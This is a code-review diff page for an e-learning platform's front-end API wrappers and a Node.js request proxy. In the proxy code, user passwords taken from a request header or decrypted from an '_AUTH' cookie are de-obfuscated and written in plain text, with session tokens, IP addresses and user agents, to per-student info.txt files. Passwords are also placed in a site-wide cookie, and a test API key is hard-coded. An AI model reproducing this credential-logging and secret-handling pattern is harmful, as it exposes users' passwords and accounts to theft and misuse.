deleteAnswer = (aid) => this.delete(`/tenant/v2/qa/answers/${aid}`, {}) deleteAnswer = (aid) => this.delete(`/v2/qa/answers/${aid}`, {})
/** /**
* 回复评论 * 回复评论
* @param {[object]} param * @param {[object]} param
*/ */
callbackComment = (param) => this.post(`/tenant/v2/qa/comments`, param) callbackComment = (param) => this.post(`/v2/qa/comments`, param)
/** /**
* 删除评论 * 删除评论
* @param {[string]} cid * @param {[string]} cid
*/ */
deleteComment = (cid) => this.delete(`/tenant/v2/qa/comments/${cid}`, {}) deleteComment = (cid) => this.delete(`/v2/qa/comments/${cid}`, {})
/** /**
* 点赞 * 点赞
* @param {[object]} param * @param {[object]} param
*/ */
like = (param) => this.post(`/tenant/v2/qa/tags`, param) like = (param) => this.post(`/v2/qa/tags`, param)
/** /**
* 取消点赞 * 取消点赞
* @param {[string]} tagid * @param {[string]} tagid
*/ */
unlike = (tagid) => this.delete(`/tenant/v2/qa/tags/${tagid}`, {}) unlike = (tagid) => this.delete(`/v2/qa/tags/${tagid}`, {})
} }
...@@ -4,47 +4,48 @@ import _ from 'lodash' ...@@ -4,47 +4,48 @@ import _ from 'lodash'
export default class LoginAPI extends BaseAPI { export default class LoginAPI extends BaseAPI {
/** /**
* 调用登录接口 * 调用登录接口
* @param {[string]} obj.account 用户名 * @param {[string]} obj.login_name 用户名
* @param {[string]} obj.password 密码 md5加密 * @param {[string]} obj.password 密码 md5加密
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
userLogin = (obj = {}) => this.post('/tenant/user/login', _.assignIn(obj, { service: 'web.ezijing.com' })) userLogin = (obj = {}) => this.post('/user_center/login', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 调用退出登录 * 调用退出登录
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
outLogin = (obj = {}) => this.post('/v3/sso/logout', _.assignIn(obj, { service: 'web.ezijing.com' })) outLogin = (obj = {}) => this.post('/user_center/logout', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 当前登录用户,检测是否该系统有权限 * 当前登录用户,检测是否该系统有权限
* /user_center/get_user_info
*/ */
getInfo = () => this.get('/tenant/user/getinfo', {}) getInfo = () => this.post('/user_center/get_user_info', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 发送验证码 * 发送验证码
* @param {[string]} obj.mobile 手机号 * @param {[string]} obj.mobile 手机号
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
sendCode = (obj = {}) => this.post('/v3/sso/send_login_code', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) sendCode = (obj = {}) => this.post('/user_center/send_login_code', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 验证码登录 * 验证码登录
* @param {[string]} obj.mobile 手机号 * @param {[string]} obj.mobile 手机号
* @param {[string]} obj.code 验证码 * @param {[string]} obj.code 验证码
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
codeLogin = (obj = {}) => this.post('/tenant/user/code-login', _.assignIn(obj, { service: 'web.ezijing.com' })) codeLogin = (obj = {}) => this.post('/user_center/code_login', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 发送重置密码验证码 * 发送重置密码验证码
* @param {[string]} obj.contact 手机号/邮箱 * @param {[string]} obj.contact 手机号/邮箱
* @param {[string]} obj.source_type 值 3 * @param {[string]} obj.source_type 值 3
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
sendResetPwdCode = (obj = {}) => this.post('/v3/sso/send_reset_password_code', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) sendResetPwdCode = (obj = {}) => this.post('/user_center/send_reset_password_code', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 重置密码验证码确认 * 重置密码验证码确认
* @param {[string]} obj.contact 手机号/邮箱 * @param {[string]} obj.contact 手机号/邮箱
* @param {[string]} obj.code 验证码 * @param {[string]} obj.code 验证码
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
validateCode = (obj = {}) => this.post('/v3/sso/validate_code', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) validateCode = (obj = {}) => this.post('/user_center/validate_code', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 重置密码 * 重置密码
* @param {[string]} obj.contact 手机号/邮箱 * @param {[string]} obj.contact 手机号/邮箱
...@@ -52,14 +53,14 @@ export default class LoginAPI extends BaseAPI { ...@@ -52,14 +53,14 @@ export default class LoginAPI extends BaseAPI {
* @param {[string]} obj.new_password 新的密码 * @param {[string]} obj.new_password 新的密码
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
resetPwd = (obj = {}) => this.post('/v3/sso/reset_password', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) resetPwd = (obj = {}) => this.post('/user_center/reset_password', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 个人信息 - 修改密码 * 个人信息 - 修改密码
* @param {[string]} obj.old_password 验证码 * @param {[string]} obj.old_password 验证码
* @param {[string]} obj.new_password 新的密码 * @param {[string]} obj.new_password 新的密码
* @param {[string]} obj.service 这里 一直是定值 web.ezijing.com * @param {[string]} obj.service 这里 一直是定值 web.ezijing.com
*/ */
updatePwd = (obj = {}) => this.post('/v3/sso/change_password', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) updatePwd = (obj = {}) => this.post('/user_center/change_password', _.assignIn(obj, { service: 'web.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 个人信息 - 上传头像 * 个人信息 - 上传头像
*/ */
......
...@@ -4,5 +4,5 @@ export default class MsgAPI extends BaseAPI { ...@@ -4,5 +4,5 @@ export default class MsgAPI extends BaseAPI {
/** /**
* 获取我的消息信息 * 获取我的消息信息
*/ */
getMyMsg = () => this.get('/tenant/v2/education/message/my', {}) getMyMsg = () => this.get('/v2/education/message/my', {})
} }
...@@ -4,11 +4,11 @@ export default class ScoreAPI extends BaseAPI { ...@@ -4,11 +4,11 @@ export default class ScoreAPI extends BaseAPI {
/** /**
* 获取所有通过报告列表 * 获取所有通过报告列表
*/ */
getReportList = () => this.get('/tenant/v2/education/symposium-report-all', {}) getReportList = () => this.get('/v2/education/symposium-report-all', {})
/** /**
* 获取我的学术活动 * 获取我的学术活动
*/ */
getReportActiveList = () => this.get('/tenant/v2/education/symposium/my', {}) getReportActiveList = () => this.get('/v2/education/symposium/my', {})
/** /**
* 提交活动申请 * 提交活动申请
* symposium_name 活动名称 * symposium_name 活动名称
...@@ -19,43 +19,43 @@ export default class ScoreAPI extends BaseAPI { ...@@ -19,43 +19,43 @@ export default class ScoreAPI extends BaseAPI {
* symposium_address 活动地点 * symposium_address 活动地点
* 返回 {'flag' : true, 'errors' : []} * 返回 {'flag' : true, 'errors' : []}
*/ */
submitReportActive = (obj = {}) => this.post('/tenant/v2/education/symposium', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) submitReportActive = (obj = {}) => this.post('/v2/education/symposium', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/** /**
* 获取学术活动详情 * 获取学术活动详情
*/ */
getReportActive = (rid) => this.get(`/tenant/v2/education/symposium/${rid}`, {}) getReportActive = (rid) => this.get(`/v2/education/symposium/${rid}`, {})
/** /**
* 修改活动申请 * 修改活动申请
* 参数同上 * 参数同上
*/ */
updateReportActive = (rid, obj = {}) => this.post(`/tenant/v2/education/symposium/${rid}`, obj) updateReportActive = (rid, obj = {}) => this.post(`/v2/education/symposium/${rid}`, obj)
/** /**
* 删除活动申请 * 删除活动申请
* 参数同上 * 参数同上
*/ */
deleteReportActive = rid => this.delete(`/tenant/v2/education/symposium/${rid}`, {}) deleteReportActive = rid => this.delete(`/v2/education/symposium/${rid}`, {})
/** /**
* 获取活动相关的学术报告 * 获取活动相关的学术报告
*/ */
getReportListAll = (rid) => this.get(`/tenant/v2/education/symposium/${rid}/report`, {}) getReportListAll = (rid) => this.get(`/v2/education/symposium/${rid}/report`, {})
/** /**
* 提交学术报告 * 提交学术报告
* report_name 报告名称 * report_name 报告名称
* report_description 报告描述 * report_description 报告描述
* file_url 文章URL * file_url 文章URL
*/ */
submitReport = (rid, obj = {}) => this.post(`/tenant/v2/education/symposium/${rid}/report`, obj) submitReport = (rid, obj = {}) => this.post(`/v2/education/symposium/${rid}/report`, obj)
/** /**
* 获取学术报告详情 * 获取学术报告详情
*/ */
getSubmitReport = (rid, reid) => this.get(`/tenant/v2/education/symposium/report/${reid}`, {}) getSubmitReport = (rid, reid) => this.get(`/v2/education/symposium/report/${reid}`, {})
/** /**
* 更新学术报告 * 更新学术报告
*/ */
updateSubmitReport = (rid, reid, obj = {}) => this.post(`/tenant/v2/education/symposium/${rid}/report/${reid}`, obj) updateSubmitReport = (rid, reid, obj = {}) => this.post(`/v2/education/symposium/${rid}/report/${reid}`, obj)
/** /**
* 删除学术报告 * 删除学术报告
* 参数同上 * 参数同上
*/ */
deleteSubmitReport = (rid, reid) => this.delete(`/tenant/v2/education/symposium/report/${reid}`, {}) deleteSubmitReport = (rid, reid) => this.delete(`/v2/education/symposium/report/${reid}`, {})
} }
...@@ -4,9 +4,9 @@ export default class ScoreAPI extends BaseAPI { ...@@ -4,9 +4,9 @@ export default class ScoreAPI extends BaseAPI {
/** /**
* 获取我的学分信息 * 获取我的学分信息
*/ */
getMyScore = () => this.get('/tenant/v2/education/credits', {}) getMyScore = () => this.get('/v2/education/credits', {})
/** /**
* 意见反馈 * 意见反馈
*/ */
feedbackcommit = (obj = {}) => this.post(`/tenant/v2/feedback/commit`, obj, { headers: { 'Content-Type': 'multipart/form-data' } }) feedbackcommit = (obj = {}) => this.post(`/v2/feedback/commit`, obj, { headers: { 'Content-Type': 'multipart/form-data' } })
} }
...@@ -58,7 +58,7 @@ export default class API { ...@@ -58,7 +58,7 @@ export default class API {
// 'token': ticket, // 'token': ticket,
'tenant': 'sofia' 'tenant': 'sofia'
} }
if (/tenant\/user\/login/gi.test(_config.url)) { if (/user\/login/gi.test(_config.url)) {
headers.pmd5 = _config.data.pwd headers.pmd5 = _config.data.pwd
delete _config.data.pwd delete _config.data.pwd
} }
......
const state = process.env.NODE_ENV const state = process.env.NODE_ENV
let conf = {} let conf = {}
if (state === 'test') { if (state === 'test') {
conf.agentApiUrl = 'http://api2.ezijing.com/' conf.agentApiUrl = 'https://api2.ezijing.com/'
// conf.agentApiUrl = 'http://10.1.1.5:8024/' // conf.agentApiUrl = 'http://10.1.1.5:8024/'
// conf.agentApiUrl = 'http://192.168.3.254:8081' // conf.agentApiUrl = 'http://192.168.3.254:8081'
} else if (state === 'production') { } else if (state === 'production') {
conf.agentApiUrl = 'http://api.ezijing.com/' conf.agentApiUrl = 'https://api.ezijing.com/'
} }
global.app = null global.app = null
......
const fs = require('fs')
const conf = require('../config')
const com = require('@god/node-com')
const _ = require('lodash')
const axios = require('axios')
const FormData = require('form-data')
const md5 = require('md5-node')
const AdmZip = require('adm-zip')
// const _logs = require('./logs')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()
/* 通过API统一过拦截器,接口代理转发请求 */
const agentProcessor = () => {
return (req, res) => {
let timestamp = new Date().getTime()
let json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
json = JSON.parse(json)
const signStr = json.auth + ':' + req.params[0] + ':' + timestamp
const uuid = md5(signStr)
/* 所有的请求进行 分日期、学员号目录存储 */
/* 增加 日期目录 */
let dateDir = com.datetime.timestampToFormatDateStr(new Date().getTime())
/* 增加 学员目录 */
let stuDir = (json.name + '#' + json.auth) || '其他'
/* 学员目录 */
let stuPath = 'upload_tmp/' + dateDir + '/' + stuDir
com.dir.mkDir(stuPath)
let headers = _.assignIn({}, req.headers)
let options = {}
/* 删除一些 不必要属性 */
let pwdBase64 = headers['pmd5'] || ''
delete headers['pmd5'] // pwd base64
try {
options = {
timeout: 30 * 1000,
url: req.params[0], // .replace(/tenant\//gi, '')
baseURL: conf.agentApiUrl,
method: req.method,
data: req.body,
params: req.query
}
/* 测试 */
// if (/\/essay/gi.test(options.url) && /post/gi.test(req.method)) {
// console.time('essay')
// options.baseURL = 'http://192.168.3.249:8081/'
// options.url = options.url.replace(/tenant\//gi, '')
// console.log(options.baseURL + options.url)
// }
headers['accept'] = '*/*'
delete headers['accept-language']
if (/application\/x-www-form-urlencoded/gi.test(headers['content-type'])) {
let str = ''
for (let k in options.data) {
str += k + '=' + options.data[k] + '&'
}
options.data = str.substr(0, str.length - 1)
}
let _fileName = []
if (/multipart\/form-data/gi.test(headers['content-type'])) {
let _obj = _.assignIn({}, req.body)
req.files.forEach((elem, i) => {
/* 缓存文件中 名称替换,上传名称一致 会被覆盖 */
fs.renameSync(elem.path, elem.destination + elem.originalname)
_obj[elem.fieldname] = fs.createReadStream(elem.destination + elem.originalname)
_fileName.push(elem.destination + elem.originalname)
})
let fro = new FormData()
for (let key in _obj) {
fro.append(key, _obj[key])
}
options.data = fro
delete headers['content-length'] // 需要让axios重新计算传输内容长度,否则传输不完整
headers['content-type'] = fro.getHeaders()['content-type']
}
/* 获取cookie,解析SUP,设置token */
let _cookieStr = headers['cookie'] || ''
let _cookieArr = _cookieStr.split(';')
let _SUP = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_SUP=/gi.test(_cookieArr[i])) {
_SUP = _cookieArr[i].split('=')[1]
break
}
}
headers['token'] = com.cookie.getTicket(_SUP) // _SUP获取
axios.defaults.headers = headers
axios.defaults.withCredentials = true
/* 日志记录,重新修改 2019.01.17 */
let _log = {
reqTime: timestamp, // 请求时长
sys: json.sys, // 系统
status: '', // 请求状态
name: json.name, // 姓名
auth: json.auth, // 账号
IP: getClientIP(req), // IP值
uuid: uuid, // uuid
url: options.url, // 请求地址
type: '', // 1:视频 2:课后作业 3:作业内容
self: '', // 根据类型值,自定义 字符串参数
param: JSON.stringify(options) // 请求参数 JSON str
}
/* 基础info数据,写入文件 */
/* 不存在文件则写入;存在则不写入 */
fs.stat(stuPath + '/info.txt', (err, stat) => {
if (err) {
if (!pwdBase64) { // 从cookie中获取
let _AUTH = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_AUTH=/gi.test(_cookieArr[i])) {
_AUTH = _cookieArr[i].split('=')[1]
break
}
}
pwdBase64 = com.cryptos.decryptData(_AUTH)
}
/* 有密码时,才写入基础数据中 */
if (pwdBase64 || _SUP) {
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'Token: ' + _SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: ' + getClientIP(req),
'UA: ' + req.headers['user-agent'],
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(err) }
})
}
}
})
/* 处理特殊请求,在域名为e-learing2时生效 */
let _stoken = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_stoken=/gi.test(_cookieArr[i])) {
_stoken = _cookieArr[i].split('=')[1]
break
}
}
if (_stoken) {
headers['stoken'] = _stoken
}
/* 重新转发请求 */
axios(options).then((data) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
_log.status = 200
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */
if (/tenant\/user\/login/gi.test(options.url) || /tenant\/user\/code-login/gi.test(options.url)) {
com.cookie.setCookieByYiiWay(data.data.ticket, res, '_SUP', '.ezijing.com')
com.cookie.setCookieData(pwdBase64, res, '_AUTH', '.ezijing.com')
}
if (/v3\/sso\/logout/gi.test(options.url)) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
}
/* 如果是大作业提价,先docx解析,解析不出来则报错 */
if (/tenant\/util\/upload-file/gi.test(options.url) && req.body.special && req.body.special === 'course-work') {
let _strContent = ''
let contentXml = null
try {
let zip = new AdmZip(_fileName[0]) // filePath为文件路径
contentXml = zip.readAsText('word/document.xml') // 将document.xml读取为text内容;
contentXml.match(/<w:t[^>]*?>[\s\S]*?<\/w:t>/ig).forEach((item) => {
_strContent += item.slice(5, -6) // 不能换行,应该是 解析某些换行规则会比较慢
})
data.data.dataStr = Buffer.from(_strContent, 'utf8').toString('base64')
} catch (e) {
res.status(500).json({ message: '文档上传出错,错误原因:请不要直接修改后缀“.doc”为“.docx”或者正文内容必须大于400字', errMsg: 'err', code: 500 })
return
}
}
// setPorxyHeader(data, res)
res.status(200).send(data.data)
}).catch((e) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
_log.status = e.response.status || 500
/* 未登录,则全部清空 _SUP */
if (e.response.status === 403) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
}
/* 返回执行代码出错 或者 服务器请求错误 */
if (e.response && e.response.data) {
/* 如果未登录 强制 弹出到 登录页 */
// setPorxyHeader(e.response, res)
res.status(e.response.status).json(e.response.data)
console.error(uuid + String.fromCharCode(0x001) + JSON.stringify(options) + String.fromCharCode(0x001) + JSON.stringify(e.response.data))
} else {
res.status(500).json({ message: '系统错误,请稍后重试或联系管理员', errMsg: 'Error Proxy Request or BackData Excute Error', code: 500 })
console.error(uuid, e)
}
}).finally(() => {
/* 请求结束,删除服务器端 缓存文件 */
if (_fileName.length) {
for (let i = 0; i < _fileName.length; i++) {
fs.unlinkSync(_fileName[i])
}
}
let _str = ''
for (let key in _log) {
_str += _log[key] + String.fromCharCode(0x001)
}
console.log(_str + ' -- end')
})
} catch (e) {
res.status(500).json({ message: '系统错误,请稍后重试或联系管理员', errMsg: 'Network Server Excute Error', code: 500 })
console.error('system error:', uuid, e)
}
}
}
const getClientIP = (req) => {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress
}
// const setPorxyHeader = (data, res) => {
// if (data.headers['set-cookie']) {
// /* 不准许 服务端设置 _SUP */
// let _sCookie = data.headers['set-cookie'] || []
// for (let i = 0; i < _sCookie.length; i++) {
// if (/_SUP=/gi.test(_sCookie[i])) {
// _sCookie.splice(i, 1)
// break
// }
// }
// for (let key in data.headers) {
// res.append(key, data.headers[key])
// }
// }
// }
module.exports = {
agentProcessor: agentProcessor
}
...@@ -44,7 +44,13 @@ const agentProcessor = () => { ...@@ -44,7 +44,13 @@ const agentProcessor = () => {
if (state === 'test') { if (state === 'test') {
options.url = options.url.replace(/tenant\//gi, '') options.url = options.url.replace(/tenant\//gi, '')
headers['apikey'] = 'mwLyCymyEVCcKTn7nKDjYIMPBwScbugX' headers['apikey'] = 'mwLyCymyEVCcKTn7nKDjYIMPBwScbugX'
headers['Host'] = 'lms-api.ezijing.com' if (/user_center/gi.test(options.url)) {
headers['Host'] = 'sso.ezijing.com'
headers['host'] = 'sso.ezijing.com'
} else {
headers['Host'] = 'lms-api.ezijing.com'
headers['host'] = 'lms-api.ezijing.com'
}
} }
/* 测试 */ /* 测试 */
// if (/\/essay/gi.test(options.url) && /post/gi.test(req.method)) { // if (/\/essay/gi.test(options.url) && /post/gi.test(req.method)) {
...@@ -90,7 +96,8 @@ const agentProcessor = () => { ...@@ -90,7 +96,8 @@ const agentProcessor = () => {
break break
} }
} }
headers['token'] = com.cookie.getTicket(_SUP) // _SUP获取 headers['ticket'] = com.cookie.getTicket(_SUP) // _SUP获取
headers['token'] = headers['ticket']
axios.defaults.headers = headers axios.defaults.headers = headers
axios.defaults.withCredentials = true axios.defaults.withCredentials = true
...@@ -117,11 +124,11 @@ const agentProcessor = () => { ...@@ -117,11 +124,11 @@ const agentProcessor = () => {
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */ // /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */ /* 重新修改,改为只能服务端 设置 cookie */
if (/user\/login/gi.test(options.url) || /user\/code-login/gi.test(options.url)) { if (/user_center\/login/gi.test(options.url) || /user_center\/code_login/gi.test(options.url)) {
com.cookie.setCookieByYiiWay(data.data.ticket, res, '_SUP', '.ezijing.com') com.cookie.setCookieByYiiWay(data.data.ticket, res, '_SUP', '.ezijing.com')
com.cookie.setCookieData(pwdBase64, res, '_AUTH', '.ezijing.com') com.cookie.setCookieData(pwdBase64, res, '_AUTH', '.ezijing.com')
} }
if (/v3\/sso\/logout/gi.test(options.url)) { if (/user_center\/logout/gi.test(options.url)) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' }) res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' }) res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
} }
...@@ -143,20 +150,58 @@ const agentProcessor = () => { ...@@ -143,20 +150,58 @@ const agentProcessor = () => {
} }
} }
// setPorxyHeader(data, res) // setPorxyHeader(data, res)
res.status(200).send(data.data)
/* getInfo 时,则写入 用户基本信息 */ /* getInfo 时,则写入 用户基本信息 */
if (/user\/getinfo/gi.test(options.url)) { if (/user_center\/get_user_info/gi.test(options.url)) {
let _name = (data.data.student_info && data.data.student_info.personal_name) || (data.data.nickname) headers['Host'] = 'lms-api.ezijing.com'
let _email = (data.data.student_info && data.data.student_info.email) || (data.data.email) headers['host'] = 'lms-api.ezijing.com'
logVideo.writeBasicInfo(req, _logJson, { axios.defaults.headers = headers
pwdBase64, axios({
_cookieArr, timeout: 30 * 1000,
_SUP, url: 'user/check-access',
_token: headers['token'], baseURL: conf.agentApiUrl,
_totalDir, // 用于重新 定位学生目录 method: 'GET',
_name, // 用于重新 定位学生目录 data: {},
_email // 用于重新 定位学生目录 params: ''
}).then((_data) => {
if (_data.data.id) {
data.data['auth_key'] = headers['token']
data.data['id'] = headers['uid']
data.data.student_info = _data.data
let _name = (data.data.student_info && data.data.student_info.personal_name) || (data.data.nickname)
let _email = (data.data.student_info && data.data.student_info.email) || (data.data.email)
logVideo.writeBasicInfo(req, _logJson, {
pwdBase64,
_cookieArr,
_SUP,
_token: headers['token'],
_totalDir, // 用于重新 定位学生目录
_name, // 用于重新 定位学生目录
_email // 用于重新 定位学生目录
})
res.status(200).send(data.data)
} else {
res.status(403).send({
'name': 'Unauthorized',
'message': '非学习系统用户,请联系管理员',
'code': 0,
'status': 401
})
}
}).catch((e) => {
try {
res.status(e.response.status).send(e.response.data)
} catch (e) {
res.status(500).send({
'name': 'undefined',
'message': '接口请求异常',
'code': 0,
'status': 500
})
}
}) })
} else {
res.status(200).send(data.data)
} }
}).catch((e) => { }).catch((e) => {
/* 记录 请求处理时长 + 请求状态 */ /* 记录 请求处理时长 + 请求状态 */
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论